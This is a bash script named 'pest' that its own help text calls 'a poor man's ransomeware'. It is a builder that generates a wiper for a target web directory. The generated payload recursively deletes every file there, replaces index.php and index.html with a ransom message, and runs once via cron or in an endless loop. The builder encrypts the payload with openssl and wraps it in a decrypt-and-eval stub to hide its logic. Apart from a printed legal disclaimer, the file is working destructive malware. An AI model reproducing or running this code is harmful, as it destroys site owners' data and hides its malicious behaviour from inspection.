pest

#!/usr/bin/env bash

# MIT License
# 
# Copyright (c) 2023 Robert Paul
# 
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
# 
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
# 
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.

usage="

Usage: ./pest-builder [OPTIONS]

Description:
  A poor man's ransomeware

Options:
  -h, --help                Display this help message and exit.
  -type, --type             Type of output file.
  -o, --output FILE         Write output to FILE.
  -target, --target PATH    Absolute path to target directory.
  -m, --message TEXT        Your ransom message.
  -s, --sleep SECONDS       Number of seconds to sleep after each wipe.

Examples:
    ./pest -o './.cron_wiper' --type cron --target '/home/test/public_html' --message 'Pwned'

    ./pest -o './.loop_wiper' --type loop --target '/home/test/public_html' --message 'Pwned' --sleep 20

";

args=("$@");

while [[ $# -gt 0 ]]; do
  key="$1"
  case $key in
    -h|--help)
      echo "$usage";
      exit 0
      ;;
    -type|--type)
      type="$2";
      shift
      ;;
    -o|--output)
      output_file="$2"
      shift 2
      ;;
    -target|--target)
      target="$2"
      shift 2
      ;;
    -m|--message)
      message="$2"
      shift 2
      ;;
    -s|--sleep)
      sleepseconds="$2"
      shift 2
      ;;
    *)                  
      shift
      ;;
  esac
done

set -- "${args[@]}";

if [[ "$type" = "loop" ]] && [[ -z "$sleepseconds" ]]; then
  echo "$usage";
  exit 1;
fi

if [[ "$type" != "loop" ]] && [[ "$type" != "cron" ]]; then
  printf "%s" "Invalid type\n\n";
  echo "$usage";
  exit 1;
fi;

if [[ "$type" = "cron" ]] && [[ "$#" != 8 ]]; then
  echo "$usage";
  exit 1;
fi;  

if [[ "$type" = "loop" ]] && [[ "$#" != 10 ]]; then
  echo "$usage";
  exit 1;
fi;

[[ -z "$type" ]] || [[ -z "$target" ]] || [[ -z "$output_file" ]] || [[ -z "$message" ]] && echo "$usage" && exit 1;

template=$(cat <<TPL
#!/usr/bin/env bash

declare -r WEBROOT=
declare -r RANSOM_MESSAGE=
declare -r SLEEP_TIME=

function clear_dir() {
    [ ! -e "\$1" ] || [ ! -d "\$1" ] && return;
    cd "\$1" || exit > /dev/null 2>&1;
    [ "\$PWD" != "\$1" ] && return;
    [ "\$(ls -a \$1)" ] && rm * -rf > /dev/null 2>&1;    
}

function act() {
    clear_dir "\$WEBROOT";
    echo -e "\$RANSOM_MESSAGE" >"\$WEBROOT/index.php";
    echo -e "\$RANSOM_MESSAGE" >"\$WEBROOT/index.html";
}

TPL
);

loop_template=$(cat <<TPL
while true; do
    act;
    sleep \$SLEEP_TIME;
done
TPL
);


legal_disclaimer=$(cat << TPL

[!] Legal Disclaimer: Using this piece of software to generate code for use against targets without prior mutual consent is illegal. I assume no liability and bear no responsibility for any misuse or damage caused by this program.

TPL
);
    
echo -e "$legal_disclaimer";


template=${template//-r WEBROOT=/-r WEBROOT=\"$target\";}
template=${template//-r RANSOM_MESSAGE=/-r RANSOM_MESSAGE=\"$message\";}

key=$(openssl rand -hex 32);iv=$(openssl rand -hex 16);

if [[ "$type" = "loop" ]]; then
    c="$template\n\n$loop_template"; 
    c=${c//-r SLEEP_TIME=/-r SLEEP_TIME=\"$sleepseconds\";};     

elif [[ "$type" = "cron" ]]; then 
    template=${template//declare -r SLEEP_TIME=/};        
    c="$template\n\nact\n";             
fi


encrypted=$(echo -e -n "$c" | openssl enc -aes-256-cbc -K "$key" -iv "$iv" -e -a);
encrypted=$(cat << TPL
#!/usr/bin/env bash
decrypted=\$(printf "%s" "$encrypted" | openssl enc -aes-256-cbc -K "$key" -iv "$iv" -d -a);
eval "\$decrypted";
TPL
);
echo -e "$encrypted" > "$output_file";       
echo -e "\n\nWiper created."
exit